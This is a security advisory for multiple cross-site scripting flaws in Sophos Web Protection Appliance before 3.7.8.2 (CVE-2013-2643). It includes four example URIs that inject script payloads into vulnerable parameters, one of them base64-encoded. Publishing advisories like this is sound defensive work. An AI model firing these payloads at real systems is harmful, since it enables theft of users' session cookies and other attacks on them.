Sophos Web Protection Appliance Multiple Cross Site Scripting Vulnerabilities

Bugtraq ID:	58834
Class:	Input Validation Error
CVE:	CVE-2013-2643
Remote:	Yes
Local:	No
Published:	Apr 03 2013 12:00AM
Updated:	Apr 03 2013 12:00AM
Credit:	Wolfgang Ettlinger of SEC Consult Vulnerability Lab
Vulnerable:
Not Vulnerable:

Sophos Web Protection Appliance Multiple Cross Site Scripting Vulnerabilities

Sophos Web Protection Appliance is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Versions prior to Sophos Web Protection Appliance 3.7.8.2 are vulnerable.

Sophos Web Protection Appliance Multiple Cross Site Scripting Vulnerabilities

Attackers can exploit these issues with a web browser.

The following example URIs are available:

https://www.example.com/rss.php?action=allow&xss=%3Cscript%3Ealert%28String.fromCharCode%28120,%20115,%20115%29%29%3C/script%3E
https://www.example.com/end-user/errdoc.php?e=530&msg=PHNjcmlwdD5hbGVydCgneHNzJyk7PC9zY3JpcHQ%2bCg%3d%3d
https://www.example.com/end-user/ftp_redirect.php?r=x&h=%3C/script%3E%3Cscript%3Ealert%281%29%3b%3C/script%3E
https://www.example.com/index.php?c=blocked&reason=malware&user=&&threat=%3Cscript%3Ealert%281%29%3C/script%3E

Sophos Web Protection Appliance Multiple Cross Site Scripting Vulnerabilities

Solution:
Updates are available. Please see the references or vendor advisory for more information.

Sophos Web Protection Appliance Multiple Cross Site Scripting Vulnerabilities

References:

• Sophos Homepage (Sophos)